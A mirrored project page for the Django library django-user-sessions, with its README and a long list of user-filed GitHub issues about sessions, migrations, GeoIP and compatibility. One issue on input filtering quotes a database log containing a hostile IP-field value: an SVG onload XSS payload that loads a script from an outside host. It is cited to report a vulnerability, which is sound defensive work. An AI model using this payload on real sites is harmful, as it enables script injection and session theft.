Code Monkey home page Code Monkey logo

django-user-sessions's Introduction

Django User Sessions

Jazzband

GitHub Actions

Test Coverage

PyPI

Django includes excellent built-in sessions, however all the data is hidden away into base64 encoded data. This makes it very difficult to run a query on all active sessions for a particular user. django-user-sessions fixes this and makes session objects a first class citizen like other ORM objects. It is a drop-in replacement for django.contrib.sessions.

I would love to hear your feedback on this package. If you run into problems, please file an issue on GitHub, or contribute to the project by forking the repository and sending some pull requests. The package is translated into English, Dutch and other languages. Please contribute your own language using Transifex.

Also have a look at the bundled example templates and views to see how you can integrate the application into your project.

Compatible with Django 3.2 and 4.2 on Python 3.8 to 3.11. Documentation is available at readthedocs.org.

Features

To get the list of a user's sessions:

user.session_set.filter(expire_date__gt=now())

Or logout the user everywhere:

user.session_set.all().delete()

The user's IP address and user agent are also stored on the session. This allows to show a list of active sessions to the user in the admin:

image

And also in a custom layout:

image

Installation

Refer to the installation instructions in the documentation.

GeoIP

You need to setup GeoIP for the location detection to work. See the Django documentation on installing GeoIP.

Getting help

For general questions regarding this package, please hop over to Stack Overflow. If you think there is an issue with this package; check if the issue is already listed (either open or closed), and file an issue if it's not.

Development

How to contribute

  • Fork the repository on GitHub and start hacking.
  • Run the tests.
  • Send a pull request with your changes.
  • Provide a translation using Transifex.

Running tests

This project aims for full code-coverage, this means that your code should be well-tested. Also test branches for hardened code. You can run the full test suite with:

make test

Or run a specific test with:

make test TARGET=tests.tests.MiddlewareTest

For Python compatibility, tox is used. You can run the full test suite with:

tox

Releasing

The following actions are required to push a new version:

  • Update release notes
  • If any new translations strings were added, push the new source language to Transifex. Make sure translators have sufficient time to translate those new strings:

    make tx-push
  • Add migrations:

    python example/manage.py makemigrations user_sessions
    git commit user_sessions/migrations -m "Added migrations"
  • Update translations:

    make tx-pull
  • Package and upload:

    bumpversion [major|minor|patch]
    git push && git push --tags
    python -m build --wheel
    twine upload dist/*

License

This project is licensed under the MIT license.

Credits

This library was written by Bouke Haarsma and contributors.

django-user-sessions's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

django-user-sessions's Issues

Django 2.2 fails to load with user_sessions

When loading with Django 2.2, Django returns an error stating 'django.contrib.sessions' must be in INSTALLED_APPS in order to use the admin application.

I'm not sure if the session app registration has changed with the latest Django, but this wasn't an issue with 2.1.x.

Unable to add messages

I'm having an issue with django.contrib.messages. I'm using messages.success and messages.error, but it's throwing an exception of MessageFailure: You cannot add messages without installing django.contrib.messages.middleware.MessageMiddleware.

My settings look like this:

MIDDLEWARE_CLASSES = (
    'user_sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    "myapp.middleware.LoginRequiredMiddleware",
    "myapp.middleware.ImpersonateMiddleware",
)
TEMPLATE_CONTEXT_PROCESSORS = (
    "django.contrib.auth.context_processors.auth",
    "django.core.context_processors.debug",
    "django.core.context_processors.i18n",
    "django.core.context_processors.media",
    "django.core.context_processors.static",
    "django.contrib.messages.context_processors.messages",
    "django.core.context_processors.request",
    "myapp.context_processors.settings",
    "myapp.context_processors.pjax",
)

The core of the issue appears to be that _messages is not present on the request object.

Setting SESSION_COOKIE_HTTPONLY

@Bouke I've been using this plugin. Do I separately need to set SESSION_COOKIE_HTTPONLY=True in settings.py (or something equivalent)? Please advise

My session cookies do not currently have the HttpOnly flag set which makes it susceptible to manipulation via client-side code such as JavaScript. When combined with other vulnerabilities such as XSS this allows attackers to steal a customer's active session, allowing them to masquerade as the customer.

session_security breaks "End Session" on the current session when using user_sessions

The middleware

session_security.middleware.SessionSecurityMiddleware

Provides a session last_activity update on each http request, to decrease chance of session logout.

When using the user_sessions middleware alone, clicking "End Session" will behave the same way as "Logout". Unfortunately, when combined with the session_security middleware, clicking "End Session" on the current session has no effect.

With some pdb tracing, I've figured out the following rough series of events:

  1. request:session_security updates the last_activity in the session
  2. request:user_sessions deletes the session object
  3. response:user_sessions detects the session was modified in step 1) and re-saves the session to the backing DB

The user is redirected to the same Session List page, with their current session still active.

I've opened an issue in session_security and have a proposed fix for that code base, which will add a configuration change that disables the last_activity update on the session_delete view.

yourlabs/django-session-security#89

Tracking here to update user_sessions documentation if/when my proposed fix is accepted.

Hard coded URL part

Hello,

I am would like ask why URL contains hard-coded "account/sessions/"? Is there any reason to leave it other than back-ward compatibility?

Dynamic `Session` model

The idea is simply to add more fields. E.g:

  • A UUID reference to a user.
  • Login time.
  • Logout time.

Improve Documentation for GeoIP2 Support

The link in the README.md file for GeoIP is 404. The new link is:

https://docs.djangoproject.com/en/1.11/ref/contrib/gis/geoip/

Since GeoIP is deprecated since Django v1.9, does this app support GeoIP2?

In addition, both GeoIP and GeoIP2 seem to be supported by Django "out-of-the-box" in Django v1.11 using the libraries django.contrib.gis.geoip and django.contrib.gis.geoip2 respectively. Is there a need to worry about installation of the GeoIP libraries anymore?

django user_sessions issue

Perhaps we could update the README.md with these details for clarity?

update transifex

Could you update transifex?
W're missing some strings in session_list.html
Thanks & regards,
Thomas

Maintaining user sessions between subdomains

I'm using your excellent library in a Django project I maintain. Currently, one behavior is that session information is not maintained for the same user between example.com and www.example.com. Researching this issue has led me to believe that I need to add the following in my settings.py:

SESSION_COOKIE_DOMAIN=".example.com"

Since I'm not relying on django.contrib.session or django.contrib.sessions.middleware.SessionMiddleware in my app, I felt I'd run this by you, in case there are unforeseen issues in using the above setting. Related SO question is here.

Mailmerge cannot separate paragraph within field

I have a question regard of the package and cannot solve by myself. When I use the package to merge the field, if the field contain more than one paragraphs, it always put all words into one paragraph and cannot separate them, is there a way to solve it? Thanks everybody!

SQL error: duplicate key value

Internal Server Error: /profile
Traceback (most recent call last):
  File "/usr/local/lib/python3.5/dist-packages/django/db/backends/utils.py", line 64, in execute
    return self.cursor.execute(sql, params)
psycopg2.IntegrityError: duplicate key value violates unique constraint "user_sessions_session_pkey"
DETAIL:  Key (session_key)=(kjko1b7gickvf3kx06y9v2lu83c8frc9) already exists.


The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/usr/local/lib/python3.5/dist-packages/django/core/handlers/exception.py", line 41, in inner
    response = get_response(request)
  File "/usr/local/lib/python3.5/dist-packages/django/utils/deprecation.py", line 142, in __call__
    response = self.process_response(request, response)
  File "./user_sessions/middleware.py", line 69, in process_response
    request.session.save()
  File "./user_sessions/backends/db.py", line 97, in save
    obj.save(force_insert=must_create, using=using)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/base.py", line 808, in save
    force_update=force_update, update_fields=update_fields)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/base.py", line 838, in save_base
    updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/base.py", line 924, in _save_table
    result = self._do_insert(cls._base_manager, using, fields, update_pk, raw)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/base.py", line 963, in _do_insert
    using=using, raw=raw)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/manager.py", line 85, in manager_method
    return getattr(self.get_queryset(), name)(*args, **kwargs)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/query.py", line 1076, in _insert
    return query.get_compiler(using=using).execute_sql(return_id)
  File "/usr/local/lib/python3.5/dist-packages/django/db/models/sql/compiler.py", line 1112, in execute_sql
    cursor.execute(sql, params)
  File "/usr/local/lib/python3.5/dist-packages/django/db/backends/utils.py", line 64, in execute
    return self.cursor.execute(sql, params)
  File "/usr/local/lib/python3.5/dist-packages/django/db/utils.py", line 94, in __exit__
    six.reraise(dj_exc_type, dj_exc_value, traceback)
  File "/usr/local/lib/python3.5/dist-packages/django/utils/six.py", line 685, in reraise
    raise value.with_traceback(tb)
  File "/usr/local/lib/python3.5/dist-packages/django/db/backends/utils.py", line 64, in execute
    return self.cursor.execute(sql, params)
django.db.utils.IntegrityError: duplicate key value violates unique constraint "user_sessions_session_pkey"
DETAIL:  Key (session_key)=(kjko1b7gickvf3kx06y9v2lu83c8frc9) already exists.

Python 3.5, Django 1.11. Proposed fix: check session key before passing it to SQL.

Inadequte input filtering: possible SQL injection

Data in field ip is inadequatly filtered and can be manipulated by users. Two examples of traces at database-level:

2018-01-15 21:48:29 CET [4631-6] frontend@prod STATEMENT:  INSERT INTO "user_sessions_session" ("session_key", "session_data", "expire_date", "user_id", "user_agent", "last_activity", "ip") VALUES ('f40vwk964etk8ovp2vw07cjml6x7wd95', 'MmUyZDVhMDEwMDk0NzUyMzMzZDZmYWI3ZGU2MGUwY2YyODEyMTI0Njp7fQ==', '2018-01-29T20:48:29.976333+00:00'::timestamptz, NULL, 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', '2018-01-15T20:48:29.976653+00:00'::timestamptz, ''''::inet)
2018-01-16 01:35:01 CET [6679-1] frontend@prod ERROR:  invalid input syntax for type inet: "127.0.0.1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=001930&r=62-4907&h=62-26496-2&/).slice(2),document.documentElement.appendChild(s))//'>" at character 416

Proposed fix: filtering of field before sending data to the database.

change url for sessions

in urls.py there are two views:

  • account/sessions/
  • sessions/(?P\w+)/delete/

shouldn't it be?:

  • account/sessions/
  • account/sessions/(?P\w+)/delete/

I tried to change the url for the views with

from user_sessions.views import SessionListView, SessionDeleteView

urlpatterns = patterns('',
    url(
        regex=r'^accounts/sessions/$',
        view=SessionListView.as_view(),
        name='session_list',
    ),
    url(
        regex=r'^accounts/sessions/(?P<pk>\w+)/delete/$',
        view=SessionDeleteView.as_view(),
        name='session_delete',
    ),
)

but I get a

NoReverseMatch at /accounts/sessions/ 
Exception Value: 'user_sessions' is not a registered namespace
<form method="post" action="{% url 'user_sessions:session_delete' object.pk %}">

What can i do to prevent that? This makes the urls very inflexible. Also maybe you can change the default urls to:

  • sessions/
  • sessions/(?P\w+)/delete/

In this case you can simply do:

url(r'^account/', include('user_sessions.urls', 'user_sessions')),

Thank you

DataError: ERROR: value too long for type character(200)

Error when send to long user-agent header

Expected Behavior

Status 200

Current Behavior

File "/python2.7/site-packages/django/core/handlers/base.py", line 199, in get_response
response = middleware_method(request, response)

File "/python2.7/site-packages/user_sessions/middleware.py", line 46, in process_response
request.session.save()

File "/python2.7/site-packages/user_sessions/backends/db.py", line 78, in save
obj.save(force_insert=must_create, using=using)

DataError: ERROR: value too long for type character(200)

Possible Solution

Should change Session model field user_agent from CharField to TextField
user_agent = models.CharField(null=True, blank=True, max_length=200)
to
user_agent = models.TextField(null=True, blank=True)
or
cropp user_agent field before save to db(but it can delete necessary information)
or
add max_length for exaple with 500 to TextField, but its not limit field in DB, only in django

Steps to Reproduce (for bugs)

  1. Add link to my page on facebook
  2. Go to link
  3. Facebook add some info to user_agent info
  4. Page return 500 (DataError: ERROR: value too long for type character)

Context

Your Environment

  • Browser and version: -
  • Python version: Python 2.7.12
  • Django version: Django==1.10.6
  • django-otp version: django-otp==0.3.11
  • django-user-sessions version: django-user-sessions==1.5.3
  • Link to your project: -

Location template tag and missing city binary

When only the country binary is included in the project the geoip().city throws an exception. In the code I see that there is a fallback to display the country name only when city is missing, so I wondering if this could be extended to also take into account a missing binary.

Deprecation warning for cookie_date in Django 2.1+

django.http.utils.cookie_date was deprecated in Django 2.1 in favour of http_date in the same package, which conforms to the latest RFCs for setting cookie expiry. This function exists all the way back to Django 1.11, so there should be no reason not to use it.

Expected Behavior

Using django-user-sessions' SessionMiddleware does not trigger RemovedInDjango30Warning.

Current Behavior

Using django-user-sessions' SessionMiddleware triggers RemovedInDjango30Warning:

[snip]/python3.6/site-packages/user_sessions/middleware.py:52: RemovedInDjango30Warning: cookie_date() is deprecated in favor of http_date(), which follows the format of the latest RFC.
    expires = cookie_date(expires_time)

Possible Solution

Swap cookie_date for http_date

Document how to override IP address (e.g. for reverse proxy)

When working with a reverse proxy in front of Django, request.META.get('REMOTE_ADDR', '') might not be set correctly. This is something that could easily be avoided by using e.g. django-ipware:

ipware.ip.get_ip(request)

This would unfortunately add a new requirement to django-user-sessions, but fix some issues in this project.

Happy to create a pull request if you want!

Django's GeoIP deprecation in favour of GeoIP2

I was just on the pre-flight check of requirements for django-user-sessions, and GeoIP has been just deprecated in Django 1.9, in favour of GeoIP2.

There is a closed issue #37 which mentions GeoIP2, but this was when Django didn't support it (pre-1.9). I don't know if this really changes anything. Because GeoIP2 is new for Django 1.9, and the same Django 1.9 starts to deprecate the previous version, which is a bit sudden. Do you have any thoughts about that?

[I have no strong feelings one way or the other, simply wanted to check before designing my production environment]

Login fails with foreign key constraint

Can no longer log in when using a custom user model. Fails with a foreign key constraint error. This can be fixed by going to phpMyAdmin, going to Structure, selecting "Relation view" and making the foreign key constraint blank then saving.

Please remove the ForeignKey constraint.

Thanks,

Phillip.

Error trying close a session in Firefox from other session in Chrome

I have a Django's middleware controlling when a user try logging in and exists another user logged with the same. My code checks if exist one more user logged and shows a template asking if the user want logout or finish the others sessions. If the user choses finish the other session, he is redirected to system. The request.path is useful to accept the requests only login and session/delete views.

def process_request(self, request):
    try:
         object_list = request.user.session_set.filter(expire_date__gt=timezone.now())
    except:
         object_list = None

    if object_list and len(object_list) > 1:
        if request.path != '/users/session/delete' and request.path != '/login/':
             return logout(request)

     return None

The error happens when from Chrome I try finish one session running on Firefox. It redirects to logout instead logging in the system. When I test the feature in localhost, it performs normally. Looking for the error I found that the 'referer' in request header is different when I use localhost and web from Chrome.

Channels cannot instantiate SessionStore object

I know this is currently unmainted, but filing this here for reference:

Using Django 1.9.5 and Channels 0.11.0, this is the error I get:

2016-04-18 15:42:01,756 - ERROR - worker - Error processing message with consumer awesome.discussions.consumers.ws_connect:
Traceback (most recent call last):
  File "/Users/danielgreenfeld/.virtualenvs/awesome/lib/python3.5/site-packages/channels/worker.py", line 78, in run
    consumer(message, **kwargs)
  File "/Users/danielgreenfeld/.virtualenvs/awesome/lib/python3.5/site-packages/channels/sessions.py", line 153, in inner
    session = session_engine.SessionStore(session_key=session_key)
TypeError: __init__() missing 2 required positional arguments: 'user_agent' and 'ip'

Relation "user_sessions_session" does not exist

Hello,

I recently moved my Django application with Postgres back-end to Azure from Heroku. This app uses your user_sessions library instead of django.contrib.sessions. The chief use of user_sessions is to show, to every user on my Django app, what other usernames had a session within the same app in the last 5 mins. It's basically a 'who-else-is-online' feature.

I took a snapshot of my live Heroku app's data via pg_dump. I next tried to restore this snapshot on my new server on Azure. All went smoothly. Finally, when I tried to access my app via example.cloudapp.net, I got the error below, pointing to user_sessions. I have searched far and wide, but still don't understand what's going on. Do you happen to know what could be the problem here? I have checked in psql, user_sessions_session does exist, and contains data.

Exception Type: DatabaseError
Exception Value:

relation "user_sessions_session" does not exist
LINE 1: ...last_activity", "user_sessions_session"."ip" FROM "user_sess...
^

Exception Location: /home/mhb11/.virtualenvs/redditpk/local/lib/python2.7/site-packages/django>/db/backends/postgresql_psycopg2/base.py in execute, line 54

Happy holidays.

Optimizing sessions

Hello,

With Django's built-in sessions, I can do the following for perf. optimization:
SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'
OR
SESSION_ENGINE = 'django.contrib.sessions.backends.cache'

Is there anything similar with user_sessions?

Admin interface slow with apps with large number of users

We have several thousand users and the admin interface is ridiculously slow for us when you go to the "change session" view (i.e. /admin/user_sessions/session/ns41ccjvgifumajhicwk15yb6dzbtewa/).

This is because of the select being used for the user field -- it has to be populated with thousands of options. Hard on the database and lots of HTML to output.

This can easily be fixed by changing the user to use raw_id_fields instead.

class SessionAdmin(admin.ModelAdmin):
    ...
    raw_id_fields = ('user', )
    ...

Would you accept a PR for this?

Test Client support for logout

I'm using user_sessions.utils.tests.Client for my own webtests, but logout() raises an error.

A minimal testcase would be:

class ClientTest(TestCase):
    def test_login_logout(self):
        client = Client()
        User.objects.create_user('bouke', '', 'secret')
        assert client.login(username='bouke', password='secret')
        client.logout()

Result:

======================================================================
ERROR: test_login_logout (tests.tests.ClientTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "django-user-sessions/tests/tests.py", line 281, in test_login_logout
    client.logout()
  File "django/test/client.py", line 556, in logout
    session = import_module(settings.SESSION_ENGINE).SessionStore()
TypeError: __init__() takes at least 3 arguments (1 given)

not displyed other user session info when acessss to account/sessions

I am a begginer of django from japan.
When access to url account/sessions, only the accessing user session infomation are displayed,
(other user session info are not displayed.)
But, when access to admin site, all user information are displayed.
Is this a bug? or specification?

Expected Behavior

Current Behavior

Possible Solution

Steps to Reproduce (for bugs)

Context

Your Environment

  • Browser and version: IE11, google Chrome,
  • Python version: 3.6.3
  • Django version: 2.0
  • django-otp version:
  • django-user-sessions version:latest ver
  • Link to your project:

Show closed/expired sessions

What about showing closed and expired sessions? So you have a better overview of your session (may also security related?). If someone used your account, you can still track this.

btw would be reverse dns an idea?

Speeding up session ORM queries via introducing redis

Hey there,

I'm using this excellent library of yours to track who all visited my website in the last 5 mins. I subsequently show users a "who's online" section built via this functionality. The query ends up being:

Session.objects.filter(last_activity__gte=(timezone.now() - timedelta(minutes=5))).only('user').distinct('user').prefetch_related('user__userprofile')

As the activity on my website has recently exploded, this "who's online" feature has really become slow. In the bid to get back some performance, I'm thinking of introducing redis into the mix. Now in backends/db.py, the save function creates the session object. All I need to do is this: when a session obj is being created, save the relevant self.user_id and a timestamp in a redis powered key-value store (a sorted set to be precise). This way, I can replace the slow Django query above with a faster one that gets recent online user_ids from redis.

I was about to override the save function in this way, but being a newbie, I don't want to break anything in my app. So I thought I'd run this strategy by you first. Any problems in what I've written here? Any thing you'd want me to look for when I do this? Thanks in advance!

Thanks in advance!

Issue with django.contrib.messages session/middleware

Hello! First of all, this app is nifty. I am having some issues getting it to play nicely with django.contrib.messages. Messages aren't being passed to my templates when I'm using this app instead of Django's default session engine/middleware.

I believe the issue centres around SESSION_ENGINE = 'user_sessions.backends.db'. Say I want to pass a message to my view:

class Index(ListView):
    ...
    def get_context_data(self, **kwargs):
        context = super(Index, self).get_context_data(**kwargs)
        messages.info(self.request, 'Why, hello!')
        return context

I can access the message via messages.get_messages(), but the message doesn't appear in my template:

...
{% if messages %}
  <ul class="messages">
    {% for message in messages %}
      <li{% if message.tags %} class="{{ message.tags }}"{% endif %}>{{ message }}</li>
    {% endfor %}
  </ul>
{% endif %}
...

Session queryset only showing currently logged in user

@Bouke : I'm trying to use django-user-sessions to get all users who have had a session on my website within the last 5 mins. Since it's a social website, it's quite relevant for my users to see who else has recently been online.

For the said purpose, I wrote:
recent_users = Session.objects.filter(last_activity__gte=(timezone.now()-timedelta(minutes=500))).only('user').distinct('user')

But when I test this in localhost, it only returns the currently logged in user in recent_users. Does the "Session" model only maintain sessions that currently exist?

The location template tag should probably return None

Currently, if location() fails to find anything, it returns

<i>unknown</i>

Which is problematic on two fronts:

  1. The <i> tag has been deprecated for a while in favour of <em>.

  2. It limits the user's ability to control the output. Most filters return None if nothing is available because it allows you to do stuff like this:

    {{ session.ip|locaiton|default_if_none:'Nothing found' }}

For that matter, the device template tag has similar behaviour.

I can offer a pull request if you agree with this assessment. I just didn't want to write one if you wouldn't want to use it.

Database exception when user_agent is too long

If the user agent length exceeds 200 chars the db will raise an error when saving.

It could be converted into a TextField, or truncate the value if it is too long before saving, for example.

Track when session created/first logged in?

It doesn't seem to exist in the model currently, but I've been building a system and think it would be helpful to the user to be able to display when they created a particular session as part of the information displayed? I've seen this functionality on a few

Not sure if this would be useful to others, but it looks like it would just take the addition of a created datetime field on the custom session model.

Migrations fail if AUTH_USER_MODEL is not set to auth.User

Hello,

The project itself allows for different User models to be used (inline with the changes made in Django 1.5), however the default migration file assumes that you are using auth.User and so running migrate on a project without django.contrib.auth in INSTALLED_APPS will cause the migrate to fail.

The issue itself can be plainly seen in this file: https://github.com/Bouke/django-user-sessions/blob/master/user_sessions/migrations/0001_initial.py#L16

Thanks,
Daniel.

Reset user_id on logout

At the moment logging out doesn't reset user_id so the session keeps being attached to the user.

When Django flushes a session, the session dict is reset but because of the way django-user-sessions works you also have to set SessionStore.user_id to None, otherwise the new session is created using the old user_id.

The required change is minor, just add the following method to SessionStore:

    def clear(self):
        super(SessionStore, self).clear()
        self.user_id = None

Sessions aren't deleted on logout

Expected Behavior

user_sessions sessions are deleted on logout() like django.contrib.sessions.models.

Current Behavior

The user field on the session is set to null rather than the session being deleted.

# from django.contrib.sessions.models import Session
# from user_sessions.models import Session

def test_logout(client):
    email = "[email protected]"
    password = "foobar"
    user = User.objects.create(email=email)
    user.set_password(password)
    user.save()

    res = client.post(reverse("login"), {"email": email, "password": password})
    # where the login view calls Django's login() function
    assert res.status_code == status.HTTP_200_OK

    before_count = Session.objects.count()

    res = client.post(reverse("logout"))
    # where the logout() view calls Django's logout() function
    assert res.status_code == status.HTTP_200_OK

    after_count = Session.objects.count()
    assert after_count == before_count - 1 # fails with django-user-sessions, works with normal django sessions

Possible Solution

request.session.flush() should delete the session

https://docs.djangoproject.com/en/2.1/topics/http/sessions/#django.contrib.sessions.backends.base.SessionBase.flush

https://github.com/django/django/blob/ac956dae1d06ce2ebff7a2966bcaf8a5ecdbb861/django/contrib/sessions/backends/base.py#L282

Steps to Reproduce (for bugs)

  1. login with django's login() function
  2. logout with django's logout() function
  3. Check admin page and find session that is still valid but doesn't have a user

Context

Ideally sessions on logout should delete rather than the user being set to null so that the admin panel doesn't show sessions that shouldn't exist anymore.

Your Environment

  • Browser and version:
  • Python version: 3.6
  • Django version: 2.0.2
  • django-otp version: -
  • django-user-sessions version: 1.6
  • Link to your project: -

Can't run clearsessions command

Because the clearsessions management command is part of django.contrib.sessions, this command can't be run anymore. This is of course because that app has to be replaced by user_sessions, and thus the command isn't loaded anymore.

Preventing session data loss when changing session backend

I was reverting from user-sessions back to Django's own django.contrib.sessions. Upon changing my settings.py, I get a Database error (relation django_session does not exist). Do I need to run migrations again? And would I definitely lose all session data? I want to avoid that.

Btw FYI, I changed MIDDLEWARE_CLASSES, INSTALLED_APPS and the SESSION ENGINE in settings.py when

Can't search in the admin

When I use the search field in the admin, I get the following error:

FieldError at /admin/user_sessions/session/

Cannot resolve keyword 'name' into field. Choices are: *all the fields on the User model*

I'm using the default User model (auth.User) on Django 1.4.14. I believe this line is causing this issue. It makes sense since there is no name field, only username, first_name and last_name (among others).

Test client doesn't attach user attribute to request

I'm trying out the test client and my tests are exploding because I have signal handlers that listing for user_logged_in() and attempt to access request.user. A brief stroll through the Django code for login() tells me that it won't attach user to the request unless the attribute is already set.

Given that the test client creates the request without attaching a .user attribute, this will never work as it is. Could this be fixed by simply adding request.user = None right after this line?

TransactionManagementError with ATOMIC_REQUESTS enabled

While using your app I noticed TransactionManagementError errors occurs when logging in with the ATOMIC_REQUESTS setting set to True. (Python: 2.7.3, Django: 1.6.4)

The traceback "refers to /user_sessions/backends/db", line 77 "with transaction.commit_on_success(using)". I believe this line should be replaced with atomic transaction.atomic(using):.
According to the Django docs:

"Starting with Django 1.6, atomic() is the only supported API for defining a transaction. Unlike the deprecated APIs, it’s nestable and always guarantees atomicity"

Thank you for this project, it's really handy.

Design approach: Why not inherit from django.contrib.sessions?

Hello, and thanks for the work on this library - very nifty. I couldn't find an existing issue or documentation about this, but pardon the potential duplicate if I missed anything.

I'm curious about the design decisions for the models - I'm not sure it matters practically, but why inherit from django.db.models.Model for user_sessions.models.Session:

https://github.com/Bouke/django-user-sessions/blob/db94bfd968e1a2b22868621157649105bb2018bf/user_sessions/models.py#L24

instead of inheriting from django.contrib.sessions.base_session.AbstractBaseSession or django.contrib.sessions.models.Session? It seems like the docs currently suggest this approach:

from django.contrib.sessions.base_session import AbstractBaseSession

class CustomSession(AbstractBaseSession):
   ...

Thanks!

Warning django 1.9

Not sure if I'm doing something incorrectly, but the installation tutorial says
In INSTALLED_APPS replace 'django.contrib.sessions' with 'user_sessions'.

If we do this, we end up with a deprecation warning:

/lib/python2.7/site-packages/django/contrib/sessions/models.py:27: RemovedInDjango19Warning: Model class django.contrib.sessions.models.Session doesn't declare an explicit app_label and either isn't in an application in INSTALLED_APPS or else was imported before its application was loaded. This will no longer be supported in Django 1.9.
  class Session(models.Model):

But we also end up with a django_session table in the database if we keep 'django.contrib.sessions' alongside to 'user_sessions'.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.